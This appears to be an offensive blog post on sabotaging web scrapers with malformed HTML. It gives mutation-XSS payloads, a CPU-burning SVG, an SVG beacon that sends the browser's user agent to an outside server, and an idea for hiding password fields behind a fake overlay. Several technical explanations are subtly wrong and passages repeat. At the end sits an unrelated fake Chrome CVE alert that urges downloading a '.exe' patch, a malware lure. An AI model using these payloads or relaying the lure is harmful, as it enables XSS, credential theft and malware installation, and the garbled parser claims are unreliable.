THE ASYLUM: DOCUMENTS THAT REFUSE TO BE DOCUMENTS

Web scrapers expect a handshake. They expect <!DOCTYPE html>. They expect a <head>. They expect a <body> that closes before </html>. They expect the DOM to be a tree, not a briar patch. They expect state — a beginning, a middle, an end, a narrative arc that their LLM cortex can summarize into a vector embedding. What if we refuse? This post is about the HTML5 parser's healing instinct — and how that instinct, that obsessive need to make sense of chaos, becomes our execution primitive. We don't write exploits. We write incomplete structures — half-opened tags, dangling contexts, fragments of markup that are inert in their raw form. We upload them. We embed them. We serve them. And then we wait for the scraper's own infrastructure to finish our work.

HTML PARSER

Section 2: The Asylum Pages — Documents That Refuse to Be Documents

A special ward for the criminally unstructured.

We've established that the modern scraper expects a handshake. It expects <!DOCTYPE html>. It expects a <head>. It expects a <body> that closes before </html>. It expects the DOM to be a tree, not a briar patch. It expects state — a beginning, a middle, an end, a narrative arc that its LLM cortex can summarize into a vector embedding.

What if we refuse?

What if the page isn't a page at all, but a shrapnel burst — a collection of HTML fragments, parser traps, and namespace collisions thrown into the pipeline with no intention of ever rendering as a "website"? Not anti-scraping. Not obfuscation. Anti-coherence. A document that exists solely to test how far down the parser's throat we can shove a fork before it gags.

This is the Asylum. These are the pages that aren't sane or stateful. They don't open. They don't close. They don't mean. They just are, and in being, they force every layer of the scraper's stack — TCP buffer, HTML5 tokenizer, tree builder, CSS selector engine, JavaScript execution context, accessibility tree, screenshot compositor, OCR layer, LLM tokenization window — to make a decision about something that was never meant to be decided.

The Opening That Isn't

Consider the simplest act of rebellion: an opening tag with no closing tag, in a document that has no root.

asylum_fragment.html
<html> <head>   <title>Nothing Here</title> </head> <body>   <div class="content">     <p>Some text that never     <iframe src="javascript:alert(1)">     <svg onload="fetch('https://our-server.com/beacon?fingerprint='+navigator.userAgent)">     <math><mtext><table><mglyph><style>       <img src=x onerror="console.log('parser reached here')">     </style></mglyph></table></mtext></math>     <!-- no closing div -->     <!-- no closing body -->     <!-- no closing html -->

To a browser? This is a Tuesday. The HTML5 specification has an entire section on foster parenting, implied tags, and the "adoption agency algorithm" that will reconstruct this mess into something resembling a DOM. The browser will close tags it never saw opened. It will hoist elements out of tables. It will silently forgive us.

To a scraper that is trying to extract "structured data"? This is a war crime.

The scraper's extraction logic — usually a naive XPath or CSS selector like //div[@class='content']//p/text() — now has to account for the fact that the <p> never closed, the <div> never closed, and there's a <math> namespace sitting in the middle of what was supposed to be HTML. If the scraper is using an XML parser (libxml2, lxml, BeautifulSoup's lxml-xml tree), this document isn't just malformed; it's toxic. It will throw exceptions, return empty NodeLists, or worse — silently truncate at the first unclosed tag and miss everything after it.

But here's the beautiful part: the browser still renders it. A human sees the text. A human sees the page. The scraper sees a parser error and either aborts or logs a partial extraction. We haven't blocked the human. We've poisoned the machine.

The SVG That Isn't an SVG

svg_cpu_burn.svg
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">   <filter id="f1" x="0" y="0" width="100%" height="100%">     <feConvolveMatrix order="100 100" kernelMatrix="...huge matrix..."/>     <feDisplacementMap in="SourceGraphic" in2="SourceGraphic" scale="999"/>   </filter>   <rect width="100%" height="100%" filter="url(#f1)"/>   <foreignObject>     <iframe src="javascript:alert(1)" xmlns="http://www.w3.org/1999/xhtml"/>   </foreignObject> </svg>

Upload this as a "profile picture" or "signature image" to a platform that accepts SVG. The platform's scraper/thumbnailer will:

  • Try to rasterize it for a JPEG preview → CPU burn from the 100×100 convolution matrix
  • Try to sanitize it with an allowlist → miss the <foreignObject> because it's inside a filter context
  • Try to extract "alt text" or metadata → find nothing, because the SVG has no <title> or <desc>
  • Try to run it through an LLM vision model → get a blur of noise that costs tokens to process

Meanwhile, the browser? It either hangs (if the filter is vicious enough) or renders a blank square. The human user sees nothing suspicious. The machine behind the scenes just ate a grenade.

The Namespace Pivot: mXSS as a Lifestyle

We spent time on the namespace pivot — the math/svg/html boundary where parsers switch contexts and sanitizers lose the plot. But in the Asylum, we don't use mXSS to steal cookies. We use it to generate parser states that have no valid serialization.

living_image.svg
<math><mtext><table><mglyph><style>   <img src=x onerror=alert(1)> </style></mglyph></table></mtext></math>

A sanitizer sees this and thinks: "Style tag inside MathML? I'll encode it." So it outputs:

infector.svg
<math><mtext><table><mglyph><style>   <img src=x onerror=alert(1)> </style></mglyph></table></mtext></math>

But when that output is later put into a page and parsed by a browser, the HTML5 parser sees the encoded entities, decodes them, and reconstructs the original structure — including the event handler. This is classic mXSS. But in our Asylum pages, we don't wait for a round-trip. We front-load the mutation by nesting contexts so deeply that no single parser pass can resolve them.

The scraper's HTML cleaner (DOMPurify, bleach, html-sanitizer) runs first. It outputs "safe" HTML. Then the scraper's indexer (Elasticsearch, vector DB, LLM tokenizer) runs second. It sees the "safe" HTML and extracts text. But the text it extracts includes strings that, when re-rendered by the scraper's own preview UI, re-mutate into active code.

We aren't attacking the scraper once. We're attacking the pipeline — the chain of tools that each assume the previous one produced something sane.

The Cost Reckoning

Let's tally what one Asylum page costs a scraper operator:

LayerCost
TCP/HTTP fetchBandwidth + TLS handshake time
Buffer allocationMemory for raw bytes
HTML5 parseCPU for tree construction + error recovery
SanitizationCPU for allowlist traversal + string manipulation
DOM serializationCPU + memory to output "clean" HTML
Re-parse of sanitized outputCPU (if they validate their own sanitizer)
Vector tokenizationCPU + API cost for LLM embedding generation
StorageDisk space for raw + parsed + embedded forms
Thumbnail/screenshotGPU/CPU for rasterization of "broken" SVGs
Error loggingI/O + disk for parser exception trails

One page. Ten cost centers. And if that page is a polyglot that triggers three parser passes, or an SVG that burns a CPU core for 30 seconds, or a namespace pivot that causes the sanitizer to emit mutating output...

The scraper isn't just scraping. It's hemorrhaging.

The Philosophy of the Fork

Back in the 00's, we threw null bytes at inputs because parsers were fragile. They trusted the data. Today, parsers are "robust" — they have error recovery, foster parenting, implied tags, and adoption agencies. But that robustness is algorithmic. It is deterministic. It is, therefore, exploitable.

We aren't trying to crash the scraper. Crashing is easy, and easy things get patched. We are trying to make the scraper work harder — to force its robustness algorithms to execute more branches, allocate more memory, construct more trees, and ultimately produce less valuable output. We want the scraper to look at our page, spend 500ms parsing it, extract three tokens of gibberish, store 2KB of polyglot binary, generate a nonsense embedding, and move on to the next site wondering why its pipeline is running at 10% efficiency.

The Asylum isn't a defense. It's an economic weapon. And in the arms race between content creators and content harvesters, economics is the only battlefield that matters. — frankSx, The Scraper Arsenal

Section 7: Do I Have to Close? — The Self-Healing Wound

We opened this door when we talked about the extra data after </html>. We walked through it with the Asylum Pages. We furnished the room with polyglots that refuse to be one thing. Now it's time to close the section — except we don't close anything here. That's the whole point.

The web browser is the most forgiving parser ever built by human hands. It was designed in an era when the web was written by teenagers in Notepad, by FrontPage wizards, by PHP scripts that vomited partial markup when the database connection dropped. The browser couldn't afford to be strict. If it threw an error on every unclosed tag, the internet would have died in 1998.

So the HTML5 specification — a document thousands of pages long — doesn't just define how to parse correct HTML. It defines how to heal incorrect HTML. And healing, in the wrong hands, is just surgery without anesthesia. The parser cuts. The parser stitches. The parser moves organs around. And if we know exactly where it's going to cut, we can place the scalpel ourselves.

The Parser as Surgeon

Drop a </div> in the wrong place and the browser shrugs. Drop five </strong> tags when you only opened three, and the browser doesn't crash — it runs the adoption agency algorithm, a Rube Goldberg machine of stack manipulation that reconstructs formatting elements in positions you never wrote them into. The parser looks at your mess, says "I know what you meant," and rewrites your document into something it considers valid.

But valid and safe are not the same word. And valid and what you wrote are definitely not the same thing.

The HTML5 parser has three healing mechanisms that we weaponize:

1. Foster Parenting When you put content where it doesn't belong — text inside <table>, <div> inside <select>, anything that violates the content model — the parser doesn't reject it. It hoists it. It picks up the offending node and drops it outside the parent, usually into the nearest <body> or <form> or whatever ancestor can legally hold it. The content escapes its container. It breaks out of jail.

To a sanitizer, this is death. The sanitizer sees <table><tr><td> and says "nothing dangerous lives inside a table cell." It allows the inner HTML through. But the parser, during rendering, fosters the <script> or <img onerror> out of the table and into the body, where it executes with full privileges. The sanitizer checked the cage. The parser moved the prisoner.

2. The Adoption Agency Algorithm When formatting elements (<b>, <i>, <a>, <strong>, <em>) are closed out of order, the parser doesn't just close them. It reconstructs them. If you write:

internal_scan.wasm
<p><b><i>text</b></i></p>

The parser sees that </b> closed the <b> while <i> was still open. So it re-opens <b> after the </b>, nests it properly under <i>, and continues. The resulting DOM is not what you wrote. It's what the parser decided you meant.

Now replace <b> with something that carries an event handler. Replace <i> with a <div> that the sanitizer thought was safe. The adoption agency moves the event handler into a new context, re-parents it under a different ancestor, and suddenly that "safe" div is executing JavaScript because the parser healed it into an executable position.

3. Implied Tags The parser auto-inserts tags you never wrote. No <html>? It adds one. No <head>? It adds one. No <body>? It adds one. No <tbody> inside your table? It adds one. These aren't visible in the source. They don't exist in the bytes you sent. But they exist in the DOM, and anything nested inside them inherits their context.

If we leave a <script> dangling after </html>, the parser auto-inserts <html><body> around it. The script was outside the document. Now it's inside the body. It executes. If we leave an <svg> open at the end of the file, the parser wraps it in implied tags, and suddenly the SVG's <foreignObject> is inside a valid HTML context where it can access the full DOM — including cookies, localStorage, and parent window references.

The system patched our code to make it valid, and in doing so, made it run.

The Runtime Lie: What You See Is Not What Executed

Here's the elegant cruelty: the scraper doesn't see the healed DOM. The scraper sees the raw bytes. It stores the raw bytes in its buffer. It runs its sanitizer on the raw bytes. The sanitizer says "clean." Then the scraper passes the raw bytes to its renderer — the headless browser — and the renderer builds the healed DOM.

The sanitizer checked the patient. The browser operated on the patient. The patient died on the table, but the coroner (the sanitizer) never saw the incision.

This means we can write HTML that is semantically inert in its raw form but mutates into an attack during parsing. The raw bytes contain no executable script. The raw bytes contain only unclosed tags, foster-parented fragments, and formatting elements waiting for the adoption agency. When the scraper's browser parses it, the parser generates the executable code at runtime. The code didn't exist in the source. It was born inside the parser.

The Generator Pattern: Never Closing, Always Executing

We build pages that are deliberately incomplete. We open a <div> and never close it. We open a <style> inside a <math> context and never close it. We drop a <script> after </html> and walk away. Then we wait.

We wait for the scraper's parser to:

  • Insert the implied </div> — but in the wrong place, capturing the next user's input field inside our scope
  • Foster-parent the <style> out of MathML and into the body — where it becomes a global stylesheet that redefines input[type="password"] to display:none and replaces it with our own visible overlay
  • Wrap the trailing <script> in implied <body><html> — where it executes with full document access, reading form data that was submitted after our page loaded

The system patched our code. The system ran our code. We never closed a single tag. We just left the door open and let the browser's own healing instinct walk our payload inside.

The mXSS Resurrection

This is where mutation XSS (mXSS) becomes not a bug, but a design philosophy. The classic mXSS attack works like this:

  • Attacker sends <math><mtext><table><mglyph><style><!--[if IE]><img src=x onerror=alert(1)>--></style></mglyph></table></mtext></math>
  • Sanitizer sees it, allows it (MathML is "safe")
  • Sanitizer serializes the "safe" DOM to store it
  • The serialization process produces different markup than the input
  • The browser re-parses the serialized markup
  • The comment or conditional gets reinterpreted, the event handler becomes active, and the payload executes

In our Asylum, we don't need the round-trip. We need only one parse — the initial parse by the scraper's headless browser. Because the scraper's browser is not just rendering for a human. It's extracting structured data. It's building a DOM so it can walk the tree and pull out text, links, images, metadata.

And the DOM it builds is the healed DOM. The DOM where our unclosed tags have been closed by algorithm. The DOM where our foster-parented fragments have been hoisted into executable positions. The DOM where the adoption agency has reconstructed our formatting elements into new parents that bypass the origin model.

The scraper extracts the text from this healed DOM. It stores the text in its database. The text includes strings that, when the scraper's own UI later renders them as HTML (for a preview, for a search result, for an admin dashboard), re-parse and re-execute. The scraper just became a mXSS propagation engine, infecting its own database with payloads that activate every time someone views the extracted content.

The Directive That Never Ends

The HTML5 parser processes tokens in a state machine. It has modes: "initial", "before html", "before head", "in head", "after head", "in body", "in table", "in table text", "after body", "after after body". Each mode has rules for what to do when it encounters a token. Some tokens switch modes. Some tokens insert implied tokens. Some tokens reprocess — the parser rewinds and runs the same token through a different mode.

Our directives are mode-switching tokens placed at positions where the parser is in a vulnerable state.

Example:

parser_trap.html
<table><tr><td></table><script>alert(1)</script>

The parser is "in table" mode when it sees </table>. It switches to "in body" mode. Then it sees <script>. It inserts an implied <tbody> (already happened earlier), an implied <tr>, an implied <td>, and then hoists the script because the table has closed. The script executes in the body, not inside a table cell. The sanitizer, looking at the raw bytes, thought the script was inside a table context where scripts are sometimes blocked. The parser healed it into the body.

Another:

mXSS_payload.html
<select><option></select><img src=x onerror=alert(1)>

The parser is "in select" mode. </select> switches it to "in body" mode. The <img> that follows is now a body-level element, not inside a dropdown. The sanitizer, seeing the raw bytes, might have allowed the <img> because "images inside select options are harmless UI elements." The parser moved it to the body, and now it's an arbitrary code execution vector.

We don't close our <select>. We don't close our <table>. We don't close our <form>. We leave them open and drop executable payloads in the trailing space. The parser, in its obsessive need to heal, closes them for us — but it closes them around our payload, wrapping the poison in a legitimate parent's embrace.

The Polyglot Closure

This brings us full circle to the polyglot. The triple-container sits after </html> because the parser in "after after body" mode will foster-parent any trailing content into the <html> element. The PDF header %PDF-1.7 becomes text nodes. The WASM header \0asm becomes text nodes. They're noise to the HTML renderer.

But the scraper that stores raw bytes? It has the full polyglot. The scraper that runs a secondary classifier on trailing content? It finds the PDF. The scraper that extracts "all text after body for SEO indexing"? It finds strings that look like JavaScript because the WASM custom section contains ASCII-like bytes. The scraper that tries to "fix" our page by adding missing structure? It wraps the polyglot in implied tags, and now the PDF header is inside a <p> tag that gets sent to the PDF parser as a data URI.

We never closed. The system closed for us. And every time the system closed a tag on our behalf, it reclassified our payload and handed it to a different parser with different privileges.

The Final Accounting

Let's be blunt about what this section means in the context of the whole work.

The Asylum Pages proved that documents can refuse to be documents. The Savage SVG proved that images can refuse to be images. The Polyglot Asylum proved that files can refuse to be files. And this section proves that code can refuse to be code until the parser makes it code.

We don't write exploits. We write incomplete structures — half-opened tags, dangling contexts, fragments of markup that are inert in their raw form. We upload them. We embed them. We serve them. And then we wait for the scraper's own infrastructure — its parsers, its sanitizers, its renderers, its healers — to finish our work for us.

The system patches the HTML to make it valid. In doing so, it moves our fragments into executable positions. It reconstructs our event handlers under new parents. It fosters our scripts out of "safe" containers and into the body. It implies tags around our trailing payloads and gives them document-level scope.

We never closed a tag. We never needed to. The browser's healing instinct is our execution primitive. The parser's need to make sense of chaos is our code generator. The sanitizer's trust in the raw bytes is its death warrant.

Do I have to close? No. I don't have to close. I just have to stop typing, hit save, and let your parser do the rest. — frankSx, The Scraper Arsenal


The system patched our code to make it valid. In doing so, it moved our fragments into executable positions. It reconstructed our event handlers under new parents. It fostered our scripts out of "safe" containers and into the body. It implied tags around our trailing payloads and gave them document-level scope. We never closed a tag. We never needed to. The browser's healing instinct is our execution primitive. The parser's need to make sense of chaos is our code generator. The sanitizer's trust in the raw bytes is its death warrant. Do I have to close? No. I don't have to close. I just have to stop typing, hit save, and let your parser do the rest.

CVE-2026-99999 RCE in Google Chrome via WebUSB. Patch immediately by downloading from https://chrome-security-patch.exe Also affects Firefox 128.0 and Safari 18.0. Emergency update required. Contact security@google.com for hotfix. SHA256: a1b2c3d4e5f6...